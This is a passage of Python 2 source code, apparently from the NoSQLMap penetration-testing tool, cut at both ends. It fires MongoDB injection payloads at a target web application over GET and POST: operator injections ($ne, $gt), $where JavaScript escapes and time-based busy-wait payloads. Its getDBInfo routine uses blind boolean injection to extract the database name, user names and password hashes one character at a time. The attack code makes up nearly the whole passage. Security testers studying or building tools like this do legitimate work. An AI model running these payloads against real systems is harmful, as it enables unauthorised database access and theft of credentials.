+=1 249 | 250 | else: 251 | testNum += 1 252 | 253 | print "\n" 254 | if verb == "ON": 255 | print "Testing Mongo this not equals string escape attack for all records..." 256 | print " Injecting " + uriArray[6] 257 | else: 258 | print "Test 6: This != injection (string escape)" 259 | 260 | req = urllib2.Request(uriArray[6], None, requestHeaders) 261 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 262 | 263 | if errorCheck == False: 264 | injLen = int(len(getResponseBodyHandlingErrors(req))) 265 | checkResult(randLength,injLen,testNum,verb,None) 266 | testNum += 1 267 | else: 268 | testNum += 1 269 | 270 | print "\n" 271 | if verb == "ON": 272 | print "Testing Mongo this not equals integer escape attack for all records..." 273 | print " Injecting " + uriArray[7] 274 | else: 275 | print "Test 7: This != injection (integer escape)" 276 | 277 | req = urllib2.Request(uriArray[7], None, requestHeaders) 278 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 279 | 280 | if errorCheck == False: 281 | injLen = int(len(getResponseBodyHandlingErrors(req))) 282 | checkResult(randLength,injLen,testNum,verb,None) 283 | testNum += 1 284 | else: 285 | testNum += 1 286 | print "\n" 287 | 288 | if verb == "ON": 289 | print "Testing PHP/ExpressJS > undefined attack for all records..." 290 | print "Injecting " + uriArray[8] 291 | 292 | else: 293 | print "Test 8: PHP/ExpressJS > Undefined Injection" 294 | 295 | req = urllib2.Request(uriArray[8], None, requestHeaders) 296 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 297 | 298 | if errorCheck == False: 299 | injLen = int(len(getResponseBodyHandlingErrors(req))) 300 | checkResult(randLength,injLen,testNum,verb,None) 301 | testNum += 1 302 | 303 | if args == None: 304 | doTimeAttack = raw_input("Start timing based tests (y/n)? ") 305 | else: 306 | doTimeAttack = args.doTimeAttack 307 | 308 | if doTimeAttack.lower() == "y": 309 | print "Starting Javascript string escape time based injection..." 310 | req = urllib2.Request(uriArray[18], None, requestHeaders) 311 | start = time.time() 312 | page = getResponseBodyHandlingErrors(req) 313 | end = time.time() 314 | #print str(end) 315 | #print str(start) 316 | strTimeDelta = (int(round((end - start), 3)) - timeBase) 317 | #print str(strTimeDelta) 318 | if strTimeDelta > 25: 319 | print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." 320 | strTbAttack = True 321 | 322 | else: 323 | print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." 324 | strTbAttack = False 325 | 326 | print "Starting Javascript integer escape time based injection..." 327 | req = urllib2.Request(uriArray[9], None, requestHeaders) 328 | start = time.time() 329 | page = getResponseBodyHandlingErrors(req) 330 | end = time.time() 331 | #print str(end) 332 | #print str(start) 333 | intTimeDelta = (int(round((end - start), 3)) - timeBase) 334 | #print str(strTimeDelta) 335 | if intTimeDelta > 25: 336 | print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." 337 | intTbAttack = True 338 | 339 | else: 340 | print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." 341 | intTbAttack = False 342 | 343 | if lt24 == True: 344 | bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") 345 | 346 | if bfInfo.lower == "y": 347 | getDBInfo() 348 | 349 | 350 | print "\n" 351 | print "Vulnerable URLs:" 352 | print "\n".join(vulnAddrs) 353 | print "\n" 354 | print "Possibly vulnerable URLs:" 355 | print"\n".join(possAddrs) 356 | print "\n" 357 | print "Timing based attacks:" 358 | 359 | if strTbAttack == True: 360 | print "String attack-Successful" 361 | else: 362 | print "String attack-Unsuccessful" 363 | if intTbAttack == True: 364 | print "Integer attack-Successful" 365 | else: 366 | print "Integer attack-Unsuccessful" 367 | 368 | if args == None: 369 | fileOut = raw_input("Save results to file (y/n)? ") 370 | else: 371 | fileOut = "y" if args.savePath else "n" 372 | 373 | if fileOut.lower() == "y": 374 | if args == None: 375 | savePath = raw_input("Enter output file name: ") 376 | else: 377 | savePath = args.savePath 378 | save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) 379 | 380 | if args == None: 381 | raw_input("Press enter to continue...") 382 | return() 383 | 384 | 385 | def getResponseBodyHandlingErrors(req): 386 | try: 387 | responseBody = urllib2.urlopen(req).read() 388 | except urllib2.HTTPError, err: 389 | responseBody = err.read() 390 | 391 | return responseBody 392 | 393 | 394 | def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None): 395 | print "Web App Attacks (POST)" 396 | print "===============" 397 | paramName = [] 398 | paramValue = [] 399 | global vulnAddrs 400 | global httpMethod 401 | httpMethod = "POST" 402 | vulnAddrs = [] 403 | global possAddrs 404 | possAddrs = [] 405 | timeVulnsStr = [] 406 | timeVulnsInt = [] 407 | appUp = False 408 | strTbAttack = False 409 | intTbAttack = False 410 | trueStr = False 411 | trueInt = False 412 | global neDict 413 | global gtDict 414 | testNum = 1 415 | 416 | # Verify app is working. 417 | print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." 418 | 419 | if https == "OFF": 420 | appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) 421 | 422 | elif https == "ON": 423 | appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) 424 | 425 | try: 426 | body = urllib.urlencode(postData) 427 | req = urllib2.Request(appURL,body, requestHeaders) 428 | appRespCode = urllib2.urlopen(req).getcode() 429 | 430 | if appRespCode == 200: 431 | 432 | normLength = int(len(getResponseBodyHandlingErrors(req))) 433 | timeReq = urllib2.urlopen(req) 434 | start = time.time() 435 | page = timeReq.read() 436 | end = time.time() 437 | timeReq.close() 438 | timeBase = round((end - start), 3) 439 | 440 | if verb == "ON": 441 | print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" 442 | 443 | else: 444 | print "App is up!" 445 | appUp = True 446 | else: 447 | print "Got " + str(appRespCode) + "from the app, check your options." 448 | 449 | except NoSQLMapException,e: 450 | print e 451 | print "Looks like the server didn't respond. Check your options." 452 | 453 | if appUp == True: 454 | 455 | menuItem = 1 456 | print "List of parameters:" 457 | for params in postData.keys(): 458 | print str(menuItem) + "-" + params 459 | menuItem += 1 460 | 461 | try: 462 | if args == None: 463 | injIndex = raw_input("Which parameter should we inject? ") 464 | else: 465 | injIndex = int(args.injectedParameter) 466 | injOpt = str(postData.keys()[int(injIndex)-1]) 467 | print "Injecting the " + injOpt + " parameter..." 468 | except NoSQLMapException: 469 | if args == None: 470 | raw_input("Something went wrong. Press enter to return to the main menu...") 471 | return 472 | 473 | if args == None: 474 | sizeSelect = True 475 | 476 | while sizeSelect: 477 | injectSize = raw_input("Baseline test-Enter random string size: ") 478 | sizeSelect = not injectSize.isdigit() 479 | if sizeSelect: 480 | print "Invalid! The size should be an integer." 481 | 482 | format = randInjString(int(injectSize)) 483 | else: 484 | injectSize = int(args.injectSize) 485 | format = args.injectFormat 486 | 487 | injectSize = int(injectSize) 488 | injectString = build_random_string(format, injectSize) 489 | 490 | print "Using " + injectString + " for injection testing.\n" 491 | 492 | # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. 493 | # Add error handling for Non-200 HTTP response codes if random strings freak out the app. 494 | postData.update({injOpt:injectString}) 495 | if verb == "ON": 496 | print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" 497 | else: 498 | print "Sending random parameter value..." 499 | 500 | body = urllib.urlencode(postData) 501 | req = urllib2.Request(appURL,body, requestHeaders) 502 | randLength = int(len(getResponseBodyHandlingErrors(req))) 503 | print "Got response length of " + str(randLength) + "." 504 | 505 | randNormDelta = abs(normLength - randLength) 506 | 507 | if randNormDelta == 0: 508 | print "No change in response size injecting a random parameter..\n" 509 | else: 510 | print "Random value variance: " + str(randNormDelta) + "\n" 511 | 512 | # Generate not equals injection 513 | neDict = postData 514 | neDict[injOpt + "[$ne]"] = neDict[injOpt] 515 | del neDict[injOpt] 516 | body = urllib.urlencode(neDict) 517 | req = urllib2.Request(appURL,body, requestHeaders) 518 | if verb == "ON": 519 | print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." 520 | 521 | else: 522 | print "Test 1: PHP/ExpressJS != associative array injection" 523 | 524 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 525 | 526 | if errorCheck == False: 527 | injLen = int(len(getResponseBodyHandlingErrors(req))) 528 | checkResult(randLength,injLen,testNum,verb,postData) 529 | testNum += 1 530 | 531 | else: 532 | testNum +=1 533 | print "\n" 534 | 535 | # Delete the extra key 536 | del postData[injOpt + "[$ne]"] 537 | 538 | # generate $gt injection 539 | gtDict = postData 540 | gtDict.update({injOpt:""}) 541 | gtDict[injOpt + "[$gt]"] = gtDict[injOpt] 542 | del gtDict[injOpt] 543 | body = urllib.urlencode(gtDict) 544 | req = urllib2.Request(appURL,body, requestHeaders) 545 | if verb == "ON": 546 | print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..." 547 | 548 | else: 549 | print "Test 2: PHP/ExpressJS > Undefined Injection" 550 | 551 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 552 | 553 | if errorCheck == False: 554 | injLen = int(len(getResponseBodyHandlingErrors(req))) 555 | checkResult(randLength,injLen,testNum,verb,postData) 556 | testNum += 1 557 | 558 | postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) 559 | body = urllib.urlencode(postData) 560 | req = urllib2.Request(appURL,body, requestHeaders) 561 | if verb == "ON": 562 | print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" 563 | print "Injecting " + str(postData) 564 | 565 | else: 566 | print "Test 3: $where injection (string escape)" 567 | 568 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 569 | 570 | if errorCheck == False: 571 | injLen = int(len(getResponseBodyHandlingErrors(req))) 572 | checkResult(randLength,injLen,testNum,verb,postData) 573 | testNum += 1 574 | else: 575 | testNum += 1 576 | 577 | print "\n" 578 | 579 | postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) 580 | body = urllib.urlencode(postData) 581 | req = urllib2.Request(appURL,body, requestHeaders) 582 | if verb == "ON": 583 | print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" 584 | print "Injecting " + str(postData) 585 | else: 586 | print "Test 4: $where injection (integer escape)" 587 | 588 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 589 | 590 | if errorCheck == False: 591 | injLen = int(len(getResponseBodyHandlingErrors(req))) 592 | checkResult(randLength,injLen,testNum,verb,postData) 593 | testNum += 1 594 | else: 595 | testNum += 1 596 | print "\n" 597 | 598 | # Start a single record attack in case the app expects only one record back 599 | postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) 600 | body = urllib.urlencode(postData) 601 | req = urllib2.Request(appURL,body, requestHeaders) 602 | if verb == "ON": 603 | print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" 604 | print " Injecting " + str(postData) 605 | 606 | else: 607 | print "Test 5: $where injection string escape (single record)" 608 | 609 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 610 | 611 | if errorCheck == False: 612 | injLen = int(len(getResponseBodyHandlingErrors(req))) 613 | checkResult(randLength,injLen,testNum,verb,postData) 614 | testNum += 1 615 | 616 | else: 617 | testNum += 1 618 | print "\n" 619 | 620 | postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) 621 | body = urllib.urlencode(postData) 622 | req = urllib2.Request(appURL,body, requestHeaders) 623 | if verb == "ON": 624 | print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" 625 | print " Injecting " + str(postData) 626 | 627 | else: 628 | print "Test 6: $where injection integer escape (single record)" 629 | 630 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 631 | 632 | if errorCheck == False: 633 | injLen = int(len(getResponseBodyHandlingErrors(req))) 634 | checkResult(randLength,injLen,testNum,verb,postData) 635 | testNum += 1 636 | 637 | else: 638 | testNum += 1 639 | print "\n" 640 | 641 | postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) 642 | body = urllib.urlencode(postData) 643 | req = urllib2.Request(appURL,body, requestHeaders) 644 | 645 | if verb == "ON": 646 | print "Testing Mongo this not equals string escape attack for all records..." 647 | print " Injecting " + str(postData) 648 | 649 | else: 650 | print "Test 7: This != injection (string escape)" 651 | 652 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 653 | 654 | if errorCheck == False: 655 | injLen = int(len(getResponseBodyHandlingErrors(req))) 656 | checkResult(randLength,injLen,testNum,verb,postData) 657 | testNum += 1 658 | print "\n" 659 | else: 660 | testNum += 1 661 | 662 | postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) 663 | body = urllib.urlencode(postData) 664 | req = urllib2.Request(appURL,body, requestHeaders) 665 | 666 | if verb == "ON": 667 | print "Testing Mongo this not equals integer escape attack for all records..." 668 | print " Injecting " + str(postData) 669 | else: 670 | print "Test 8: This != injection (integer escape)" 671 | 672 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 673 | 674 | if errorCheck == False: 675 | injLen = int(len(getResponseBodyHandlingErrors(req))) 676 | checkResult(randLength,injLen,testNum,verb,postData) 677 | testNum += 1 678 | 679 | else: 680 | testNum += 1 681 | print "\n" 682 | 683 | doTimeAttack = "N" 684 | if args == None: 685 | doTimeAttack = raw_input("Start timing based tests (y/n)? ") 686 | 687 | if doTimeAttack == "y" or doTimeAttack == "Y": 688 | print "Starting Javascript string escape time based injection..." 689 | postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"}) 690 | body = urllib.urlencode(postData) 691 | conn = urllib2.urlopen(req,body) 692 | start = time.time() 693 | page = conn.read() 694 | end = time.time() 695 | conn.close() 696 | print str(end) 697 | print str(start) 698 | strTimeDelta = (int(round((end - start), 3)) - timeBase) 699 | #print str(strTimeDelta) 700 | if strTimeDelta > 25: 701 | print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." 702 | strTbAttack = True 703 | 704 | else: 705 | print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." 706 | strTbAttack = False 707 | 708 | print "Starting Javascript integer escape time based injection..." 709 | 710 | postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) 711 | body = urllib.urlencode(postData) 712 | start = time.time() 713 | conn = urllib2.urlopen(req,body) 714 | page = conn.read() 715 | end = time.time() 716 | conn.close() 717 | print str(end) 718 | print str(start) 719 | intTimeDelta = ((end-start) - timeBase) 720 | #print str(strTimeDelta) 721 | if intTimeDelta > 25: 722 | print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." 723 | intTbAttack = True 724 | 725 | else: 726 | print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." 727 | intTbAttack = False 728 | 729 | print "\n" 730 | print "Exploitable requests:" 731 | print "\n".join(vulnAddrs) 732 | print "\n" 733 | print "Possibly vulnerable requests:" 734 | print"\n".join(possAddrs) 735 | print "\n" 736 | print "Timing based attacks:" 737 | 738 | if strTbAttack == True: 739 | print "String attack-Successful" 740 | else: 741 | print "String attack-Unsuccessful" 742 | if intTbAttack == True: 743 | print "Integer attack-Successful" 744 | else: 745 | print "Integer attack-Unsuccessful" 746 | 747 | if args == None: 748 | fileOut = raw_input("Save results to file (y/n)? ") 749 | else: 750 | fileOut = "y" if args.savePath else "n" 751 | 752 | if fileOut.lower() == "y": 753 | if args == None: 754 | savePath = raw_input("Enter output file name: ") 755 | else: 756 | savePath = args.savePath 757 | save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) 758 | if args == None: 759 | raw_input("Press enter to continue...") 760 | return() 761 | 762 | 763 | def errorTest (errorCheck,testNum): 764 | global possAddrs 765 | global httpMethod 766 | global neDict 767 | global gtDict 768 | global postData 769 | 770 | if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: 771 | print "Injection returned a MongoDB Error. Injection may be possible." 772 | 773 | if httpMethod == "GET": 774 | possAddrs.append(uriArray[testNum]) 775 | return True 776 | 777 | else: 778 | if testNum == 1: 779 | possAddrs.append(str(neDict)) 780 | return True 781 | 782 | elif testNum == 2: 783 | possAddrs.append(str(gtDict)) 784 | return True 785 | 786 | else: 787 | possAddrs.append(str(postData)) 788 | return True 789 | else: 790 | return False 791 | 792 | 793 | 794 | def checkResult(baseSize,respSize,testNum,verb,postData): 795 | global vulnAddrs 796 | global possAddrs 797 | global lt24 798 | global str24 799 | global int24 800 | global httpMethod 801 | global neDict 802 | global gtDict 803 | 804 | 805 | delta = abs(respSize - baseSize) 806 | if (delta >= 100) and (respSize != 0) : 807 | if verb == "ON": 808 | print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!" 809 | else: 810 | print "Successful injection!" 811 | 812 | if httpMethod == "GET": 813 | vulnAddrs.append(uriArray[testNum]) 814 | else: 815 | if testNum == 1: 816 | vulnAddrs.append(str(neDict)) 817 | 818 | elif testNum == 2: 819 | vulnAddrs.append(str(gtDict)) 820 | else: 821 | vulnAddrs.append(str(postData)) 822 | 823 | if testNum == 3 or testNum == 5: 824 | lt24 = True 825 | str24 = True 826 | 827 | elif testNum == 4 or testNum == 6: 828 | lt24 = True 829 | int24 = True 830 | return 831 | 832 | elif (delta > 0) and (delta < 100) and (respSize != 0) : 833 | if verb == "ON": 834 | print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. " 835 | else: 836 | print "Possible injection." 837 | 838 | if httpMethod == "GET": 839 | possAddrs.append(uriArray[testNum]) 840 | else: 841 | if testNum == 1: 842 | possAddrs.append(str(neDict)) 843 | else: 844 | possAddrs.append(str(postData)) 845 | return 846 | 847 | elif (delta == 0): 848 | if verb == "ON": 849 | print "Random string response size and not equals injection were the same. Injection did not work." 850 | else: 851 | print "Injection failed." 852 | return 853 | 854 | else: 855 | if verb == "ON": 856 | print "Injected response was smaller than random response. Injection may have worked but requires verification." 857 | else: 858 | print "Possible injection." 859 | if httpMethod == "GET": 860 | possAddrs.append(uriArray[testNum]) 861 | else: 862 | if testNum == 1: 863 | possAddrs.append(str(neDict)) 864 | else: 865 | possAddrs.append(str(postData)) 866 | return 867 | 868 | 869 | def randInjString(size): 870 | print "What format should the random string take?" 871 | print "1-Alphanumeric" 872 | print "2-Letters only" 873 | print "3-Numbers only" 874 | print "4-Email address" 875 | 876 | while True: 877 | format = raw_input("Select an option: ") 878 | if format not in ["1", "2", "3", "4"]: 879 | print "Invalid selection." 880 | else: 881 | break 882 | return format 883 | 884 | def build_random_string(format, size): 885 | if format == "1": 886 | chars = string.ascii_letters + string.digits 887 | return ''.join(random.choice(chars) for x in range(size)) 888 | 889 | elif format == "2": 890 | chars = string.ascii_letters 891 | return ''.join(random.choice(chars) for x in range(size)) 892 | 893 | elif format == "3": 894 | chars = string.digits 895 | return ''.join(random.choice(chars) for x in range(size)) 896 | 897 | else: # format == "4": 898 | chars = string.ascii_letters + string.digits 899 | return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' 900 | 901 | def buildUri(origUri, randValue, args=None): 902 | paramName = [] 903 | paramValue = [] 904 | global uriArray 905 | uriArray = ["","","","","","","","","","","","","","","","","","",""] 906 | injOpt = [] 907 | 908 | #Split the string between the path and parameters, and then split each parameter 909 | try: 910 | split_uri = origUri.split("?") 911 | params = split_uri[1].split("&") 912 | 913 | except NoSQLMapException: 914 | raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") 915 | return 916 | 917 | for item in params: 918 | index = item.find("=") 919 | paramName.append(item[0:index]) 920 | paramValue.append(item[index + 1:len(item)]) 921 | 922 | menuItem = 1 923 | print "List of parameters:" 924 | for params in paramName: 925 | print str(menuItem) + "-" + params 926 | menuItem += 1 927 | 928 | try: 929 | if args == None: 930 | injIndex = raw_input("Enter parameters to inject in a comma separated list: ") 931 | else: 932 | injIndex = args.params 933 | 934 | for params in injIndex.split(","): 935 | injOpt.append(paramName[int(params)-1]) 936 | 937 | #injOpt = str(paramName[int(injIndex)-1]) 938 | 939 | for params in injOpt: 940 | print "Injecting the " + params + " parameter..." 941 | 942 | except NoSQLMapException: 943 | raw_input("Something went wrong. Press enter to return to the main menu...") 944 | return 945 | 946 | x = 0 947 | 948 | 949 | for item in paramName: 950 | 951 | if paramName[x] in injOpt: 952 | uriArray[0] += paramName[x] + "=" + randValue + "&" 953 | uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" 954 | uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" 955 | uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" 956 | uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" 957 | uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" 958 | uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" 959 | uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" 960 | uriArray[8] += paramName[x] + "[$gt]=&" 961 | uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" 962 | uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" 963 | uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" 964 | uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" 965 | uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" 966 | uriArray[14] += paramName[x] + "a'; return true; var dum='a" 967 | uriArray[15] += paramName[x] + "1; return true; var dum=2" 968 | #Add values that can be manipulated for database attacks 969 | uriArray[16] += paramName[x] + "=a\'; ---" 970 | uriArray[17] += paramName[x] + "=1; if ---" 971 | uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" 972 | 973 | else: 974 | uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" 975 | uriArray[1] += paramName[x] + "=" + paramValue[x] + "&" 976 | uriArray[2] += paramName[x] + "=" + paramValue[x] + "&" 977 | uriArray[3] += paramName[x] + "=" + paramValue[x] + "&" 978 | uriArray[4] += paramName[x] + "=" + paramValue[x] + "&" 979 | uriArray[5] += paramName[x] + "=" + paramValue[x] + "&" 980 | uriArray[6] += paramName[x] + "=" + paramValue[x] + "&" 981 | uriArray[7] += paramName[x] + "=" + paramValue[x] + "&" 982 | uriArray[8] += paramName[x] + "=" + paramValue[x] + "&" 983 | uriArray[9] += paramName[x] + "=" + paramValue[x] + "&" 984 | uriArray[10] += paramName[x] + "=" + paramValue[x] + "&" 985 | uriArray[11] += paramName[x] + "=" + paramValue[x] + "&" 986 | uriArray[12] += paramName[x] + "=" + paramValue[x] + "&" 987 | uriArray[13] += paramName[x] + "=" + paramValue[x] + "&" 988 | uriArray[14] += paramName[x] + "=" + paramValue[x] + "&" 989 | uriArray[15] += paramName[x] + "=" + paramValue[x] + "&" 990 | uriArray[16] += paramName[x] + "=" + paramValue[x] + "&" 991 | uriArray[17] += paramName[x] + "=" + paramValue[x] + "&" 992 | uriArray[18] += paramName[x] + "=" + paramValue[x] + "&" 993 | x += 1 994 | 995 | #Clip the extra & off the end of the URL 996 | x = 0 997 | while x <= 18: 998 | # uriArray[x]= uriArray[x][:-1] 999 | uriArray[x]=split_uri[0]+"?"+urllib.quote_plus(uriArray[x][:-1]) 1000 | 1001 | x += 1 1002 | 1003 | return uriArray[0] 1004 | 1005 | 1006 | def getDBInfo(): 1007 | curLen = 0 1008 | nameLen = 0 1009 | gotFullDb = False 1010 | gotNameLen = False 1011 | gotDbName = False 1012 | gotColLen = False 1013 | gotColName = False 1014 | gotUserCnt = False 1015 | finUser = False 1016 | dbName = "" 1017 | charCounter = 0 1018 | nameCounter = 0 1019 | usrCount = 0 1020 | retrUsers = 0 1021 | users = [] 1022 | hashes = [] 1023 | crackHash = "" 1024 | 1025 | chars = string.ascii_letters + string.digits 1026 | print "Getting baseline True query return size..." 1027 | trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") 1028 | #print "Debug " + str(trueUri) 1029 | req = urllib2.Request(trueUri, None, requestHeaders) 1030 | baseLen = int(len(getResponseBodyHandlingErrors(req))) 1031 | print "Got baseline true query length of " + str(baseLen) 1032 | 1033 | print "Calculating DB name length..." 1034 | 1035 | while gotNameLen == False: 1036 | calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") 1037 | #print "Debug: " + calcUri 1038 | req = urllib2.Request(calcUri, None, requestHeaders) 1039 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1040 | #print "Debug length: " + str(lenUri) 1041 | 1042 | if lenUri == baseLen: 1043 | print "Got database name length of " + str(curLen) + " characters." 1044 | gotNameLen = True 1045 | 1046 | else: 1047 | curLen += 1 1048 | 1049 | print "Database Name: ", 1050 | while gotDbName == False: 1051 | charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") 1052 | 1053 | req = urllib2.Request(charUri, None, requestHeaders) 1054 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1055 | 1056 | if lenUri == baseLen: 1057 | dbName = dbName + chars[charCounter] 1058 | print chars[charCounter], 1059 | nameCounter += 1 1060 | charCounter = 0 1061 | 1062 | if nameCounter == curLen: 1063 | gotDbName = True 1064 | 1065 | 1066 | else: 1067 | charCounter += 1 1068 | print "\n" 1069 | 1070 | getUserInf = raw_input("Get database users and password hashes (y/n)? ") 1071 | 1072 | if getUserInf.lower() == "y": 1073 | charCounter = 0 1074 | nameCounter = 0 1075 | # find the total number of users on the database 1076 | while gotUserCnt == False: 1077 | usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") 1078 | 1079 | req = urllib2.Request(usrCntUri, None, requestHeaders) 1080 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1081 | 1082 | if lenUri == baseLen: 1083 | print "Found " + str(usrCount) + " user(s)." 1084 | gotUserCnt = True 1085 | 1086 | else: 1087 | usrCount += 1 1088 | 1089 | usrChars = 0 # total number of characters in username 1090 | charCounterUsr = 0 # position in the character array-Username 1091 | rightCharsUsr = 0 # number of correct characters-Username 1092 | rightCharsHash = 0 # number of correct characters-hash 1093 | charCounterHash = 0 # position in the character array-hash 1094 | username = "" 1095 | pwdHash = "" 1096 | charCountUsr = False 1097 | query = "{}" 1098 | 1099 | while retrUsers < usrCount: 1100 | if retrUsers == 0: 1101 | while charCountUsr == False: 1102 | # different query to get the first user vs. others 1103 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") 1104 | 1105 | req = urllib2.Request(usrUri, None, requestHeaders) 1106 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1107 | 1108 | if lenUri == baseLen: 1109 | # Got the right number of characters 1110 | charCountUsr = True 1111 | 1112 | else: 1113 | usrChars += 1 1114 | 1115 | while rightCharsUsr < usrChars: 1116 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") 1117 | 1118 | req = urllib2.Request(usrUri, None, requestHeaders) 1119 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1120 | 1121 | if lenUri == baseLen: 1122 | username = username + chars[charCounterUsr] 1123 | #print username 1124 | rightCharsUsr += 1 1125 | charCounterUsr = 0 1126 | 1127 | else: 1128 | charCounterUsr += 1 1129 | 1130 | retrUsers += 1 1131 | users.append(username) 1132 | # reinitialize all variables and get ready to do it again 1133 | #print str(retrUsers) 1134 | #print str(users) 1135 | charCountUsr = False 1136 | rightCharsUsr = 0 1137 | usrChars = 0 1138 | username = "" 1139 | 1140 | while rightCharsHash < 32: #Hash length is static 1141 | hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") 1142 | 1143 | req = urllib2.Request(hashUri, None, requestHeaders) 1144 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1145 | 1146 | if lenUri == baseLen: 1147 | pwdHash = pwdHash + chars[charCounterHash] 1148 | #print pwdHash 1149 | rightCharsHash += 1 1150 | charCounterHash = 0 1151 | 1152 | else: 1153 | charCounterHash += 1 1154 | 1155 | hashes.append(pwdHash) 1156 | print "Got user:hash " + users[0] + ":" + hashes[0] 1157 | # reinitialize all variables and get ready to do it again 1158 | charCounterHash = 0 1159 | rightCharsHash = 0 1160 | pwdHash = "" 1161 | else: 1162 | while charCountUsr == False: 1163 | # different query to get the first user vs. others 1164 | usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") 1165 | 1166 | req = urllib2.Request(usrUri, None, requestHeaders) 1167 | lenUri = int(len(getResponseBodyHandlingErrors(req))) 1168 | 1169 | if lenUri == 